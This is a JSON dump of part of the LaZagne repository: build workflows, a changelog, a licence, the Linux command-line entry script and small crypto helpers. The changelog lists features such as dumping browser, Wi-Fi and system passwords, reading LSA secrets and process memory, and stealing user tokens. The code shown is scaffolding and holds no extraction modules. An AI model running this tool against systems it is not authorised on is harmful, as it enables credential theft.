[
  {
    "path": ".github/workflows/WinCompile.yml",
    "content": "name: Build and Upload LaZagne Release\n\non:\n  push:\n    tags:\n      - 'v*' # Matches tags like v1.0, v20.15.10\n\njobs:\n  build:\n\n    runs-on: windows-latest\n\n    steps:\n    - uses: actions/checkout@v2\n\n    - name: Set up Python 3.11\n      uses: actions/setup-python@v4\n      with:\n        python-version: 3.11\n\n    - name: Install Dependencies\n      run: |\n        pip install -r requirements.txt\n\n    - name: Build Executable with PyInstaller\n      run: |\n        cd Windows\n        pyinstaller lazagne.spec\n\n    - name: Create Release\n      id: create_release\n      uses: actions/create-release@v1\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n      with:\n        tag_name: ${{ github.ref }}\n        release_name: Release ${{ github.ref }}\n        draft: false\n        prerelease: false\n\n    - name: Upload Release Asset\n      id: upload-release-asset \n      uses: actions/upload-release-asset@v1\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n      with:\n        upload_url: ${{ steps.create_release.outputs.upload_url }}\n        asset_path: Windows/dist/lazagne.exe\n        asset_name: LaZagne.exe\n        asset_content_type: application/octet-stream\n"
  },
  {
    "path": ".github/workflows/lint_python.yml",
    "content": "name: lint_python\non: [pull_request, push]\njobs:\n  lint_python:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v3\n      - uses: actions/setup-python@v4\n        with:\n          python-version: 3.x\n      - run: pip install --upgrade pip setuptools wheel\n      - run: pip install bandit black codespell flake8 flake8-2020 flake8-bugbear\n                         flake8-comprehensions isort mypy pytest pyupgrade\n      - run: bandit --recursive --skip B101,B105,B106,B108,B110,B112,B303,B311,B314,B318,B324,B404,B405,B408,B413,B602,B603,B605,B607,B608 .\n      - run: black --check . || true\n      - run: codespell || true  # --ignore-words-list=\"\" --skip=\"*.css,*.js,*.lock\"\n      - run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\n      - run: flake8 . --count --exit-zero --max-complexity=10 --max-line-length=88\n                      --show-source --statistics\n      - run: isort --check-only --profile black . || true\n      - run: pip install -r requirements.txt\n      - run: mkdir --parents --verbose .mypy_cache\n      - run: mypy --ignore-missing-imports --install-types --non-interactive . || true\n      - run: pytest . || pytest --doctest-modules . || true\n      - run: shopt -s globstar && pyupgrade --py36-plus **/*.py || true\n      # - run: safety check"
  },
  {
    "path": ".gitignore",
    "content": ".idea\n*.pyc\nvenv\n.DS_Store\n"
  },
  {
    "path": ".travis.yml",
    "content": "os: linux\ndist: focal\nlanguage: python\n\nlint_steps: &lint_steps\n  before_install:\n    - pip install --upgrade pip\n    - pip install flake8\n  script: flake8 . --count --select=E9,F63,F72,F82 --show-source --statistics\n\njobs:\n  include:\n    - name: \"Test and deploy on Python 2.7\"\n      dist: xenial  # Wine is not ready for Ubuntu bionic or focal\n      python: '2.7'\n    - name: \"Build on Python 2.7 on macOS\"\n      os: osx\n      language: shell  # 'language: python' is not yet supported on Travis CI macOS\n      before_install:\n      - python -m pip install --upgrade pip\n      - pip install \"pyinstaller<4.0\" -r requirements.txt  # v4.0 drops support for legacy Python\n      script:\n       - pyinstaller --onefile Mac/laZagne.py\n       - ls -l dist  # See file size (4.8 mb), etc.\n       - dist/laZagne all\n    - name: \"Lint on Python 2.7\"\n      python: '2.7'\n      <<: *lint_steps\n    - name: \"Lint on Python 3.8\"\n      python: '3.8'\n      <<: *lint_steps\n\nbefore_install:\n- sudo add-apt-repository ppa:ubuntu-wine/ppa -y\n- sudo apt-get update -qq\n- sudo apt-get install -qq wine\n- wget https://www.python.org/ftp/python/2.7.16/python-2.7.16.amd64.msi --output-document=python.msi\n- wine msiexec /i python.msi /qn\n- wget https://files.pythonhosted.org/packages/83/cc/2e39fa39b804f7b6e768a37657d75eb14cd917d1f43f376dad9f7c366ccf/pywin32-224-cp27-cp27m-win_amd64.whl --output-document=pywin32-224-cp27-none-win_amd64.whl\n- wine c:\\\\Python27\\\\python.exe -m pip install pywin32-224-cp27-none-win_amd64.whl\n- wine c:\\\\Python27\\\\python.exe -m pip install \"pyinstaller<4.0\" -r requirements.txt\n- wine c:\\\\Python27\\\\Scripts\\\\pyinstaller --noconsole --onefile Windows/lazagne.spec\n- ls -l dist  # See file size (4.8 mb), etc.\ninstall: true  # do not repeat `pip install -r requirements.txt`\nscript:\n- wine Z:\\\\home\\\\travis\\\\build\\\\AlessandroZ\\\\LaZagne\\\\dist\\\\laZagne.exe all\nbefore_deploy:\n- tar -zcvf lazagne.tar.gz dist/lazagne.exe\ndeploy:\n  provider: releases\n  skip_cleanup: true\n  overwrite: true\n  api_key:\n    secure: TDw9TTOMSJ+zMOVVrEcCCKG+6eDzrfOPz3dUN6EM0QgDZ0gstsf3T24JIV0wsZQYwY5ceYBlZu33/6Rb62b8U/tOaZXYSy9LWmFzqSRH15RvLBBA+2PtbojYNZw1YymGSiG2GBuNHu0VlkDvR/ogTvJ8lY731MPdxUdXibJMfsBVcoKped0ss+cXsKZV0C8FYz3RU6EJsx0oDLHJmLn30Lji1DA7nTO/SJ5AX6ZD7Qp34/YlwkWdih/x0v8uYUfqsiuqNhmfVcheJua7JaFlfwuJj1IDT0UDVaFQn+xkxkK+Bn+h7qjOUOKYzUEfxh78Q6iDd1YtCETR0NPTlNeDDv6LfJoP9gsE68WWBAFhijnRvF084yN1ciQ1Ch+hITANgpcF2cmMg8Tu+YLeYDWfLi8/G7u4TYAQ7Pmvce6PweP9sQ6WGvsC2H+6xNEAjMCdMoCldPfaDdGprIGtx3DD8NyqyVL6S31HkJ5gcPUcarqjGvUVWETkVUVuAQp9pgdYyx52SHifB0tbvie9NkjVdRjBCy3Oxp5bZvdzj19bAEGWu6QFwZibAtHXDq6IdsmKefktrUQd5QUbx0/Y0gpnMuD5ghSoUVdxA9FY8CyD853R13nMLJN5LedV6TFjx/8DgHRIATBSoiLi8L6/fdZAG0yeH/lBcqbLfTM6tLS5HBo=\n  file: \n    - dist/lazagne.exe\n    - lazagne.tar.gz\n  on:\n    tags: true\n    all_branches: true\n    repo: AlessandroZ/LaZagne\n"
  },
  {
    "path": "CHANGELOG",
    "content": "LaZagne 2.4\n- Windows / Linux / Mac\n\t* Big code review and lots of bug fixed\n\t* PEP8 Style (thanks to @ingested)\n\t* Pycrypto denpendency removed\n\n- Linux\n\t* Work with Python 3\n\t* Removing external libs to decrypt KDE secrets (only use dbus)\n\t* Bug fix\n\n- Windows\n\t* Adding pypykatz module - awesome work from @skelsec\n\t\t- https://github.com/skelsec/pypykatz\n\t* Adding VNC module - thanks to @aldorm\n\t* Manage more than 26 different browsers now (thanks to @ingested)\n\t* Removing construct on DPAPI function (lots of bug fix on DPAPI as well)\n\t* Removing psutil dependency\n\nLaZagne 2.3.2 (22/03/2018)\n- Windows\n\t* Big code review\n\t* Lots of minor bug fixed\n\t* If windows user password found => domain passwords retrieved from credentials files\n\t* If windows user password not found => DPAPI hash printed to bruteforce with john or hashcat (no admin privilege required)\n\t* New modules added postgresql and psi-im (thanks to @m41nt41n3r)\n\t* XP managed\n\t* Adding support for newest firefox version. Awesome work from lclevy: https://github.com/lclevy/firepwd\n\t* Adding Wdigest passwords (using mimikatz signature) \n\t\t* Works on Vista / Win7 x86 and x64\n\t\t* Thanks to \n\t\t\t* n1nj4sec for https://github.com/n1nj4sec/memorpy/\n\t\t\t* Francesco Picasso for https://github.com/RealityNet/hotoloti/blob/master/volatility/mimikatz.py\n\t* Note: right now, LaZagne x86 cannot read memory from a x64 process (so some modules cannot work using this build such as wdigest passwords)\n\t\t* That's why, two lazagne binaries have been built (x86 and x64).\n\n- Linux\n\t* Big code review\n\t* Lots of minor bug fixed\n\t* Adding support for newest firefox version. Awesome work from lclevy: https://github.com/lclevy/firepwd\n\nLaZagne 2.3.1 (18/10/2017)\n- Only Windows\n\t* Fix unicode issue (#154)\n\t* Print less local output when a specific drive has been choosed (#156)\n\nLaZagne 2.3 (31/08/2017)\n- Only Windows\n\t* Bug \"UnicodeDecodeError\" resolved (#134) \n\t\t* Support many alphabets (for chinese, russian, ... passwords)\n\t\t\t* Well managed when password are written to files (Lazagne.exe all -oA), not always correct when printed on the console (depend on the system encoding)\n\t* New module added \n\t\t* CocCoc browser supported (#141)\n\t* Quiet mode added to not print anything on the console (#140) => lazagne.exe all -quiet \n\t* Retrieve passwords from another drive (#142) => lazagne all -drive D\n\t* lsa secrets are well written on files (when -oA, -oJ or -oN options are used)\n\nLaZagne 2.2 (17/05/2017)\n- Only Windows\n\t* Bug correction: #118\n\nLaZagne 2.1 (28/04/2017)\n- Only Windows\n\t* Removing many dependencies (win32api, win32crypt, win32xxx, colorama, etc.) using ctypes\n\t* Adding little modules\n\t\t* Retrieve passwords when autologon is enabled\n\t\t* Retrieve passwords stored in unattended files\n\t* Using creddump to retrieve system hashes + LSA secrets\n\t* Retrieve chrome passwords from multiple profiles\n\t* Little bugs fixed + some code review\n\n- Linux\n\t* Adding mimipy module from n1nj4sec (https://github.com/n1nj4sec/mimipy) to retrieve the system password from memory (need root privileges)\n\nLaZagne 2.0 (20/12/2016)\n- Only Windows:\n\t* Only one process is launched (impersonnation is done using \"ImpersonateLoggedOnUser\" and no more \"CreateProcessAsUser\")\n\t* No more temporary files written on the disk\n\t\t* Uses of powerdump from empire (thanks to adaptivethreat) to avoid writing hives on the disk (avoid \"reg save ...\")\n\t* Better way to catch errors\n\t* Json fixes (output to be more \"human readable\" + error encoding)\n\t* Code cleaned\n\t* New category added called \"memory\": used to retrieve password in memory\n\t\t* KeeThief added (thanks to adaptivethreat) - retrieve keepass (version 2.x) password from memory\n\t\t\t* Powershell code used from https://github.com/adaptivethreat/KeeThief/\n\t\t* Browser passwords present in memory could be retrieved\n\t\t\t* Thanks to n1nj4sec for his awesome project \"memorpy\"\n\t\t\t\t* https://github.com/n1nj4sec/memorpy\n\t* New category added called \"php\":\n\t\t* New module \"PHP Composer\" (thanks to righettod => https://github.com/righettod)\n\nLaZagne 1.8 (15/11/2016)\n- Only Windows:\n\t* Lots of minor bugs fixed\n\t\t* Firefox\n\t\t\t* when many profiles used (thanks to Aorimn) or when profiles.ini is corrupted\n\t\t* IE: retrieving historic list or windows vault\n\t\t* Writing json file\n\t\t* etc...\n\nLaZagne 1.7 (11/09/2016)\n- Only Windows:\n\t* New modules (thanks to righettod => https://github.com/righettod): \n\t\t* Robomongo - MongoDB client\n\t* Internet Explorer bug fix (for windows 7)\n\nLaZagne 1.6 (05/09/2016)\n- Only Windows:\n\t* Internet Explorer history retrieved using powershell - no more dll written on the disk (all in memory)\n\t* Internet Explorer passwords stored in the credential manager retrieved (for Win8 and higher)\n\t* Wifi bug fixed\n\nLaZagne 1.5 (01/08/2016)\n- Only Windows:\n\t* New modules (thanks to righettod => https://github.com/righettod): \n\t\t* Maven java build tool \n\t\t* Apache Directory Studio \n\t\t* \"OpenSSH\" application\n\nLaZagne 1.4 (21/07/2016)\n- Only Windows:\n\t* New module: Git for Windows (thanks to righettod => https://github.com/righettod)\n\nLaZagne 1.3 (02/07/2016)\n- Only Windows\nSee \"User impersonnation\" in README for more information\n\t* User impersonation (high privileges needed)\n\t\t* Stealing user process token (when other user processes are running on the system)\n\t\t\t* All credentials can be retrieved (Chrome, Firefox, etc.)\n\t\t* Browsing file system (ex: C:\\Users\\<user>\\...) \n\t\t\t* Only software's passwords which do not use Windows API to encrypt it, can be retrieved (Firefox, Jitsi, Pidgin, etc.). \n\t* Json output has been implemented (txt output is still present with the options -oN)\n\t\t* Lazagne all -oJ => Json output\n\t* Standalone lighter (from 18 Mo to 6 Mo) => Thanks to the new version of Pyinstaller\n\t* Fix some bugs\n\nLaZagne 1.1 (22/10/2015)\n- Only Windows\n\t* New category: games (Thanks to David Lodge)\n\t\t* Galcon Fusion \n\t\t* Kalypso Media Launcher\n\t\t* Rogue's Tale\n\t\t* Turba\n\nLaZagne 1.0 (04/10/2015)\n- Only Windows\n\t* Fix chrome database locked\n\t* Fix windows secrets bug\n\t* Fix opera bug\n\n- For Linux\n\t* Fix opera bug\n\nLaZagne 0.9.1 (09/07/2015)\n- Only Windows\n\t* Fix mastepassword check error - mozilla\n\t* Fix database error - mozilla\n\n- For Linux\n\t* Fix encoding error\n\nLaZagne 0.9 (01/07/2015)\n- Only Windows\n\t* Fix Opera bug (thanks to rolandstarke)\n\t* Fix encoding error for generic network passwords\n\n- For Windows / Linux\n\t* Version number available from the main menu (before: Lazagne all --version => now: Lazagne --version)\n\t* spelling mistake corrected\n\nLaZagne 0.8 (11/06/2015)\n- Only Linux\n\t* /etc/shadow modules (dictionary attack on hash)\n\n- For Windows / Linux \n\t* Management of the following options \"-path\" (for dictionary attack) and \"-b\" (for bruteforce attack) in a different way. Used as general options and not implemented by module. Using the same option, the file will be used by different modules; example: to find the mozilla masterpassword, the unix system password (from the hash), used by skype (for windows), etc.\n\nLaZagne 0.71 (04/06/2015)\n- Only Linux\n\t* Wifi password module from WPA Supplicant implemented (by rpesche)\n\nLaZagne 0.7 (29/05/2015)\n- For Windows / Linux \n\t* Fix mozilla bug (special characters were not printed)\n\nLaZagne 0.6 (26/05/2015)\n- For Windows / Linux \n\t* Firefox / Thunderbird: No more dependency with nss library (many thanks to Laurent Clevy for its awesome technic: https://github.com/lclevy/firepwd)\n\t* Fix opera bug\n\n- Only Windows\n\t* WinSCP false positive removed (when SSH key is used)\n\nLaZagne 0.5 (21/05/2015)\n- For Windows\n\t* Fix chrome bug\n\nLaZagne 0.5 (20/05/2015)\n- For Windows / Linux \n\t* 2 levels of verbosity added for debugs\n\t* try / except more verbose depending on the verbosity levels\n\t* dico file moved from browsers to config repository (used for dictionary attack)\n\t* new Filezilla versions managed\n\n- Only Windows\n\t* check weak passwords (logins equal to password) for windows account when hashes (nthash) have been found\n\t* function to write the output modified on windows module\n\t* WConio replaced by colorama for the window color\n\t* Skype: try a dictionary attack (500 famous password) when the hash has been retrieved\n\nLaZagne 0.4 (12/05/2015)\n- For Linux\n\t* Kwallet module implemented (by quentin hardy)\n\nLaZagne 0.4 (05/05/2015)\n- For Windows\n\t* Fix ie bugs\n\t* Fix thunderbird bug\n\nLaZagne 0.3 (30/04/2015)\n- For Windows\n\t* Flexibility on the code: much more easy to add modules\n\t* Passwords found previously are used to test firefox masterpassword if set\n\n- For Linux\n\t* Flexibility on the code: much more easy to add modules\n\t* Passwords found previously are used to test firefox masterpassword if set\n\t* 2 different standalones (32 bits / 64 bits)\n\nLaZagne 0.2 (27/04/2015)\n- For Windows\n\t* New modules: Windows hashes + LSA Secrets\n\t* Passwords found previously are used to test windows hashes and firefox masterpassword\n\t* 500 most famous passwords are used to retrieve the windows password (once we get the hashes)\n\t* Wifi bug fixed: only one password was printed\n\t* I.E bug fixed\n\n\n"
  },
  {
    "path": "LICENSE",
    "content": "GNU LESSER GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n\n  This version of the GNU Lesser General Public License incorporates\nthe terms and conditions of version 3 of the GNU General Public\nLicense, supplemented by the additional permissions listed below.\n\n  0. Additional Definitions.\n\n  As used herein, \"this License\" refers to version 3 of the GNU Lesser\nGeneral Public License, and the \"GNU GPL\" refers to version 3 of the GNU\nGeneral Public License.\n\n  \"The Library\" refers to a covered work governed by this License,\nother than an Application or a Combined Work as defined below.\n\n  An \"Application\" is any work that makes use of an interface provided\nby the Library, but which is not otherwise based on the Library.\nDefining a subclass of a class defined by the Library is deemed a mode\nof using an interface provided by the Library.\n\n  A \"Combined Work\" is a work produced by combining or linking an\nApplication with the Library.  The particular version of the Library\nwith which the Combined Work was made is also called the \"Linked\nVersion\".\n\n  The \"Minimal Corresponding Source\" for a Combined Work means the\nCorresponding Source for the Combined Work, excluding any source code\nfor portions of the Combined Work that, considered in isolation, are\nbased on the Application, and not on the Linked Version.\n\n  The \"Corresponding Application Code\" for a Combined Work means the\nobject code and/or source code for the Application, including any data\nand utility programs needed for reproducing the Combined Work from the\nApplication, but excluding the System Libraries of the Combined Work.\n\n  1. Exception to Section 3 of the GNU GPL.\n\n  You may convey a covered work under sections 3 and 4 of this License\nwithout being bound by section 3 of the GNU GPL.\n\n  2. Conveying Modified Versions.\n\n  If you modify a copy of the Library, and, in your modifications, a\nfacility refers to a function or data to be supplied by an Application\nthat uses the facility (other than as an argument passed when the\nfacility is invoked), then you may convey a copy of the modified\nversion:\n\n   a) under this License, provided that you make a good faith effort to\n   ensure that, in the event an Application does not supply the\n   function or data, the facility still operates, and performs\n   whatever part of its purpose remains meaningful, or\n\n   b) under the GNU GPL, with none of the additional permissions of\n   this License applicable to that copy.\n\n  3. Object Code Incorporating Material from Library Header Files.\n\n  The object code form of an Application may incorporate material from\na header file that is part of the Library.  You may convey such object\ncode under terms of your choice, provided that, if the incorporated\nmaterial is not limited to numerical parameters, data structure\nlayouts and accessors, or small macros, inline functions and templates\n(ten or fewer lines in length), you do both of the following:\n\n   a) Give prominent notice with each copy of the object code that the\n   Library is used in it and that the Library and its use are\n   covered by this License.\n\n   b) Accompany the object code with a copy of the GNU GPL and this license\n   document.\n\n  4. Combined Works.\n\n  You may convey a Combined Work under terms of your choice that,\ntaken together, effectively do not restrict modification of the\nportions of the Library contained in the Combined Work and reverse\nengineering for debugging such modifications, if you also do each of\nthe following:\n\n   a) Give prominent notice with each copy of the Combined Work that\n   the Library is used in it and that the Library and its use are\n   covered by this License.\n\n   b) Accompany the Combined Work with a copy of the GNU GPL and this license\n   document.\n\n   c) For a Combined Work that displays copyright notices during\n   execution, include the copyright notice for the Library among\n   these notices, as well as a reference directing the user to the\n   copies of the GNU GPL and this license document.\n\n   d) Do one of the following:\n\n       0) Convey the Minimal Corresponding Source under the terms of this\n       License, and the Corresponding Application Code in a form\n       suitable for, and under terms that permit, the user to\n       recombine or relink the Application with a modified version of\n       the Linked Version to produce a modified Combined Work, in the\n       manner specified by section 6 of the GNU GPL for conveying\n       Corresponding Source.\n\n       1) Use a suitable shared library mechanism for linking with the\n       Library.  A suitable mechanism is one that (a) uses at run time\n       a copy of the Library already present on the user's computer\n       system, and (b) will operate properly with a modified version\n       of the Library that is interface-compatible with the Linked\n       Version.\n\n   e) Provide Installation Information, but only if you would otherwise\n   be required to provide such information under section 6 of the\n   GNU GPL, and only to the extent that such information is\n   necessary to install and execute a modified version of the\n   Combined Work produced by recombining or relinking the\n   Application with a modified version of the Linked Version. (If\n   you use option 4d0, the Installation Information must accompany\n   the Minimal Corresponding Source and Corresponding Application\n   Code. If you use option 4d1, you must provide the Installation\n   Information in the manner specified by section 6 of the GNU GPL\n   for conveying Corresponding Source.)\n\n  5. Combined Libraries.\n\n  You may place library facilities that are a work based on the\nLibrary side by side in a single library together with other library\nfacilities that are not Applications and are not covered by this\nLicense, and convey such a combined library under terms of your\nchoice, if you do both of the following:\n\n   a) Accompany the combined library with a copy of the same work based\n   on the Library, uncombined with any other library facilities,\n   conveyed under the terms of this License.\n\n   b) Give prominent notice with the combined library that part of it\n   is a work based on the Library, and explaining where to find the\n   accompanying uncombined form of the same work.\n\n  6. Revised Versions of the GNU Lesser General Public License.\n\n  The Free Software Foundation may publish revised and/or new versions\nof the GNU Lesser General Public License from time to time. Such new\nversions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\n\n  Each version is given a distinguishing version number. If the\nLibrary as you received it specifies that a certain numbered version\nof the GNU Lesser General Public License \"or any later version\"\napplies to it, you have the option of following the terms and\nconditions either of that published version or of any later version\npublished by the Free Software Foundation. If the Library as you\nreceived it does not specify a version number of the GNU Lesser\nGeneral Public License, you may choose any version of the GNU Lesser\nGeneral Public License ever published by the Free Software Foundation.\n\n  If the Library as you received it specifies that a proxy can decide\nwhether future versions of the GNU Lesser General Public License shall\napply, that proxy's public statement of acceptance of any version is\npermanent authorization for you to choose that version for the\nLibrary.\n"
  },
  {
    "path": "Linux/hook-sys.py",
    "content": "from lazagne.config.manage_modules import get_modules_names\nfrom lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location\nfrom lazagne.softwares.browsers.firefox_browsers import mozilla_module_location\n\nall_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location]\nhiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names]\n\nif __name__ == \"__main__\":\n    print(\"\\r\\n\".join(hiddenimports))"
  },
  {
    "path": "Linux/laZagne.py",
    "content": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\n##############################################################################\n#                                                                            #\n#                           By Alessandro ZANNI                              #\n#                                                                            #\n##############################################################################\n\n# Disclaimer: Do Not Use this program for illegal purposes ;)\n\nimport sys\nimport os\nimport argparse\nimport logging\n\nfrom lazagne.config.write_output import write_in_file, StandardOutput\nfrom lazagne.config.manage_modules import get_categories\nfrom lazagne.config.constant import constant\nfrom lazagne.config.run import create_module_dic, run_lazagne\n\nimport time\n\nconstant.st = StandardOutput()  # Object used to manage the output / write functions (cf write_output file)\nmodules = create_module_dic()\n\n\ndef output(output_dir=None, txt_format=False, json_format=False, all_format=False):\n    if output_dir:\n        if os.path.isdir(output_dir):\n            constant.folder_name = output_dir\n        else:\n            print('[!] Specify a directory, not a file !')\n\n    if txt_format:\n        constant.output = 'txt'\n\n    if json_format:\n        constant.output = 'json'\n\n    if all_format:\n        constant.output = 'all'\n\n    if constant.output:\n        if not os.path.exists(constant.folder_name):\n            os.makedirs(constant.folder_name)\n            # constant.file_name_results = 'credentials' # let the choice of the name to the user\n\n        if constant.output != 'json':\n            constant.st.write_header()\n\n\ndef quiet_mode(is_quiet_mode=False):\n    if is_quiet_mode:\n        constant.quiet_mode = True\n\n\ndef verbosity(verbose=0):\n    # Write on the console + debug file\n    if verbose == 0:\n        level = logging.CRITICAL\n    elif verbose == 1:\n        level = logging.INFO\n    elif verbose >= 2:\n        level = logging.DEBUG\n\n    formatter = logging.Formatter(fmt='%(message)s')\n    stream = logging.StreamHandler(sys.stdout)\n    stream.setFormatter(formatter)\n    root = logging.getLogger()\n    root.setLevel(level)\n    # If other logging are set\n    for r in root.handlers:\n        r.setLevel(logging.CRITICAL)\n    root.addHandler(stream)\n\n\ndef clean_args(arg):\n    \"\"\"\n    Remove not necessary values to get only subcategories\n    \"\"\"\n    for i in ['output', 'write_normal', 'write_json', 'write_all', 'verbose', 'auditType', 'quiet']:\n        try:\n            del arg[i]\n        except Exception:\n            pass\n    return arg\n\n\ndef runLaZagne(category_selected='all', subcategories={}):\n    \"\"\"\n    This function will be removed, still there for compatibility with other tools\n    Everything is on the config/run.py file\n    \"\"\"\n    for pwd_dic in run_lazagne(category_selected=category_selected, subcategories=subcategories):\n        yield pwd_dic\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter)\n    parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION),\n                        help='laZagne version')\n\n    # ------------------------------------------- Permanent options -------------------------------------------\n    # Version and verbosity\n    PPoptional = argparse.ArgumentParser(\n        add_help=False,\n        formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help))\n    PPoptional._optionals.title = 'optional arguments'\n    PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level')\n    PPoptional.add_argument('-quiet', dest='quiet', action='store_true', default=False,\n                            help='quiet mode: nothing is printed to the output')\n\n    # Output\n    PWrite = argparse.ArgumentParser(\n        add_help=False,\n        formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help)\n    )\n    PWrite._optionals.title = 'Output'\n    PWrite.add_argument('-oN', dest='write_normal', action='store_true', default=None,\n                        help='output file in a readable format')\n    PWrite.add_argument('-oJ', dest='write_json', action='store_true', default=None,\n                        help='output file in a json format')\n    PWrite.add_argument('-oA', dest='write_all', action='store_true', default=None, help='output file in all format')\n    PWrite.add_argument('-output', dest='output', action='store', default='.',\n                        help='destination path to store results (default:.)')\n\n    # -------------------------------- Add options and suboptions to all modules ------------------------\n    all_subparser = []\n    all_categories = get_categories()\n\n    for c in all_categories:\n        all_categories[c]['parser'] = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help))\n        all_categories[c]['parser']._optionals.title = all_categories[c]['help']\n\n        # Manage options\n        all_categories[c]['subparser'] = []\n        for module in modules[c]:\n            m = modules[c][module]\n            all_categories[c]['parser'].add_argument(m.options['command'], action=m.options['action'],\n                                                 dest=m.options['dest'], help=m.options['help'])\n\n            # Manage all sub options by modules\n            if m.suboptions:\n                tmp = []\n                for sub in m.suboptions:\n                    tmp_subparser = argparse.ArgumentParser(\n                        add_help=False,\n                        formatter_class=lambda prog: argparse.HelpFormatter(\n                            prog,\n                            max_help_position=constant.max_help\n                        )\n                    )\n                    tmp_subparser._optionals.title = sub['title']\n                    if 'type' in sub:\n                        tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'],\n                                                   dest=sub['dest'], help=sub['help'])\n                    else:\n                        tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'],\n                                                   help=sub['help'])\n                    tmp.append(tmp_subparser)\n                    all_subparser.append(tmp_subparser)\n                    all_categories[c]['subparser'] += tmp\n\n    # ------------------------------------------- Print all -------------------------------------------\n    parents = [PPoptional] + all_subparser + [PWrite]\n    dic = {'all': {'parents': parents, 'help': 'Run all modules'}}\n    for c in all_categories:\n        parser_tab = [PPoptional, all_categories[c]['parser']]\n        if 'subparser' in all_categories[c]:\n            if all_categories[c]['subparser']:\n                parser_tab += all_categories[c]['subparser']\n        parser_tab += [PWrite]\n        dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}}\n        dic.update(dic_tmp)\n\n    # 2- Main commands\n    subparsers = parser.add_subparsers(help='Choose a main command')\n    for d in dic:\n        subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(auditType=d)\n\n    # ------------------------------------------- Parse arguments -------------------------------------------\n\n    # By default, launch all modules\n    if len(sys.argv) == 1:\n        args = {\n            'verbose': 0, \n            'quiet': False, \n            'password': None, \n            'write_normal': None, \n            'write_json': None, \n            'write_all': None, \n            'output': '.', \n            'auditType': 'all'\n        }\n    else:\n        args = dict(parser.parse_args()._get_kwargs())\n        # arguments = parser.parse_args()\n\n    # Define constant variables\n    output(\n        output_dir=args['output'],\n        txt_format=args['write_normal'],\n        json_format=args['write_json'],\n        all_format=args['write_all']\n    )\n    verbosity(verbose=args['verbose'])\n    quiet_mode(is_quiet_mode=args['quiet'])\n\n    # Print the title\n    constant.st.first_title()\n\n    start_time = time.time()\n\n    category = args['auditType']\n    subcategories = clean_args(args)\n\n    for run in runLaZagne(category, subcategories):\n        pass\n\n    write_in_file(constant.stdout_result)\n    constant.st.print_footer(elapsed_time=str(time.time() - start_time))\n"
  },
  {
    "path": "Linux/lazagne/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/config/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/config/constant.py",
    "content": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nimport sys\nimport time\n\ndate = time.strftime(\"%d%m%Y_%H%M%S\")\n\n\nclass constant():\n    folder_name         = 'results_{current_time}'.format(current_time=date)\n    file_name_results   = 'credentials'  # The extension is added depending on the user output choice\n    max_help   = 27\n    CURRENT_VERSION     = '2.4.3'\n    output              = None\n    file_logger         = None\n    verbose             = False\n    nb_password_found     = 0  # Total password found\n    password_found       = []\n    stdout_result       = [] # Tab containing all results by user\n    finalResults        = {}\n    quiet_mode          = False\n    st                  = None  # Standard output\n    modules_dic         = {}\n    chrome_storage      = [] # Retrieved from libsecrets module\n\n\nif sys.version_info[0]:\n    python_version = sys.version_info[0]\n"
  },
  {
    "path": "Linux/lazagne/config/crypto/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/config/crypto/pbkdf2.py",
    "content": "#!/usr/bin/python\n\n# A simple implementation of pbkdf2 using stock python modules. See RFC2898\n# for details. Basically, it derives a key from a password and salt.\n\n# (c) 2004 Matt Johnston <matt @ ucc asn au>\n# This code may be freely used and modified for any purpose.\n\nimport hmac\nimport hashlib\nimport sys\n\nfrom struct import pack\n\nBLOCKLEN = 20\n\n\ndef char_to_int(string):\n    if sys.version_info[0] == 2 or isinstance(string, str):\n        return ord(string)\n    else:\n        return string  # Python 3\n\ndef chr_or_byte(integer):\n    if sys.version_info[0] == 2:\n        return chr(integer)\n    else:\n        return bytes([integer])  # Python 3\n\n\n# this is what you want to call.\ndef pbkdf2(password, salt, itercount, keylen):\n    # l - number of output blocks to produce\n    l = keylen / BLOCKLEN\n    if keylen % BLOCKLEN != 0:\n        l += 1\n\n    h = hmac.new(password, None, hashlib.sha1)\n\n    T = b''\n    for i in range(1, int(l) + 1):\n        T += pbkdf2_F(h, salt, itercount, i)\n\n    return T[: -(BLOCKLEN - keylen % BLOCKLEN)]\n\n\ndef xorstr(a, b):\n    if len(a) != len(b):\n        raise \"xorstr(): lengths differ\"\n\n    ret = b''\n    for i in range(len(a)):\n        ret += chr_or_byte(char_to_int(a[i]) ^ char_to_int(b[i]))\n\n    return ret\n\n\ndef prf(h, data):\n    hm = h.copy()\n    hm.update(data)\n    return hm.digest()\n\n\n# Helper as per the spec. h is a hmac which has been created seeded with the\n# password, it will be copy()ed and not modified.\ndef pbkdf2_F(h, salt, itercount, blocknum):\n    U = prf(h, salt + pack('>i', blocknum))\n    T = U\n\n    for i in range(2, itercount + 1):\n        U = prf(h, U)\n        T = xorstr(T, U)\n\n    return T\n"
  },
  {
    "path": "Linux/lazagne/config/crypto/pyDes.py",
